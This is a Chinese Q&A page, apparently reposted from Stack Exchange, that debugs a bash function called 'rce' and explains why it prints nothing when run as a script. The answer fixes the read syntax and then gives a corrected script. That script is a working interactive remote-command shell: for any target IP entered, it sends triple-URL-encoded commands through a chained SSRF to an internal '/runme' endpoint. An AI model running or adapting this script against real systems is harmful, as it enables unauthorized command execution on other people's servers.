Bash脚本中运行RCE函数与终端直接运行的差异排查
Bash脚本RCE函数无输出的问题排查与修复
为啥脚本没输出?问题出在这几点
- read命令语法彻底错了:
- 第一行获取IP的
read命令少了闭合的双引号,且变量赋值写法完全错误。原代码read -p "Enter Target IP: TARGET_IP必须写成read -p "Enter Target IP: " TARGET_IP,不然TARGET_IP变量根本拿不到你输入的IP,curl请求的目标为空,肯定无响应。 - 第二行读命令的
read -p cmd写法错误:-p参数后必须跟提示文本,变量名要放在最后。原写法会把cmd当成提示内容,你输入的命令会被存到默认变量REPLY里,而非cmd变量,导致后续三次编码的内容为空,请求参数完全无效。
- 第一行获取IP的
- curl URL里有冗余符号:
x={$ECMD}中的{}是多余的,虽然你终端执行时碰巧没影响,但脚本里这么写容易引发解析问题,建议删掉。
修复后的可用脚本
#!/bin/bash function rce(){ while true; do # 正确读取目标IP read -p "Enter Target IP: " TARGET_IP # 正确读取要执行的命令 echo -n "# "; read cmd # 对命令进行三次URI编码 ECMD=$(echo -n "$cmd" | jq -sRr @uri | jq -sRr @uri | jq -sRr @uri) # 修正URL参数,移除冗余符号 curl -s -o - "http://$TARGET_IP/load?q=http://internal.app.local/load?q=http://127.0.0.1:5000/runme?x=$ECMD" echo "" done }
脚本和终端直接执行的差异
你在终端手动执行时,是自己正确赋值了TARGET_IP和cmd变量,且curl命令参数完全正确;但脚本里因为read的语法错误,这两个变量根本没获取到你输入的内容,curl发送的请求要么目标IP为空,要么参数无效,自然得不到预期输出。
内容的提问来源于stack exchange,提问作者Mustafa Legrand
相关产品推荐
相关产品推荐

